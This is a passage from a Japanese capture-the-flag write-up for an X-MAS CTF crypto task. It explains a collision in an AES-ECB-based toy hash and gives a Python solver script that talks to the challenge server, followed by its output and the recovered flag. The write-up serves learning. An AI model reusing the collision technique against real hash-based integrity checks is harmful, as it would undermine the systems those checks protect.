1:O            --(AES-ECB暗号化)--> C1 ^ O  = C1

「1ブロック目:O」の場合と「1,3ブロック目:O、2ブロック目:C1」の場合はハッシュ値が同じになるはず。

import socket
from string import *
from itertools import *
from hashlib import sha256
from binascii import hexlify, unhexlify

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.xmas.htsp.ro', 1004))

data = recvuntil(s, '\n').rstrip()
print data
h_tail = data[-5:]

data = recvuntil(s, '\n').rstrip()
print data

for c in product(printable, repeat=4):
    text = hexlify(''.join(c))
    if sha256(unhexlify(text)).hexdigest()[-5:] == h_tail:
        print text
        s.sendall(text + '\n')
        break

#### try 1st block = '\x00' * 16 ####
data = recvuntil(s, 'exit\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

print '1'
s.sendall('1\n')
data = recvuntil(s, 'message.\n').rstrip()
print data

msg = '\x00' * 16
h_msg = msg.encode('hex')
print h_msg
s.sendall(h_msg + '\n')
data = recvuntil(s, '\n').rstrip()
print data

try_h = data[:-2].split(' ')[-1][2:]
C1 = try_h.decode('hex')

#### collision challenge ####
data = recvuntil(s, 'exit\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

print '2'
s.sendall('2\n')
data = recvuntil(s, 'message.\n').rstrip()
print data

print h_msg
s.sendall(h_msg + '\n')

data = recvuntil(s, '\n').rstrip()
print data

msg = '\x00' * 16 + C1 + '\x00' * 16
h_msg = msg.encode('hex')
print h_msg
s.sendall(h_msg + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Provide a hex string X such that sha256(unhexlify(X))[-5:] = 9af6d

306a3d7d
Good, you can continue!
Hello, thanks for answering my call, this time we have to break into Krampus' server and recover a stolen flag.
We have to solve a hash collision problem to get into the server.
Sadly, we're on a hurry and you only have 2 actions you can make until we get detected.
Choose what you want to do:
1. hash a message
2. provide a collision
3. exit

1
Ok, give me a hex-encoded string to hash.

Give me a message.
00000000000000000000000000000000
Here is your hash: b'4c6842d63b8c1be1516aaee26978907b'.

Choose what you want to do:
1. hash a message
2. provide a collision
3. exit

2
Now give me two different hex-encoded strings to check for a collision.

Give me a message.
00000000000000000000000000000000
Give me a message.
000000000000000000000000000000004c6842d63b8c1be1516aaee26978907b00000000000000000000000000000000
Damn, that was a really clever approach, you should be proud of yourself.
Here's the flag: X-MAS{C0l1i5ion_4t7ack5_4r3_c0o1!_4ls0_ch3ck_0u7_NSUCRYPTO_fda233}
X-MAS{C0l1i5ion_4t7ack5_4r3_c0o1!_4ls0_ch3ck_0u7_NSUCRYPTO_fda233}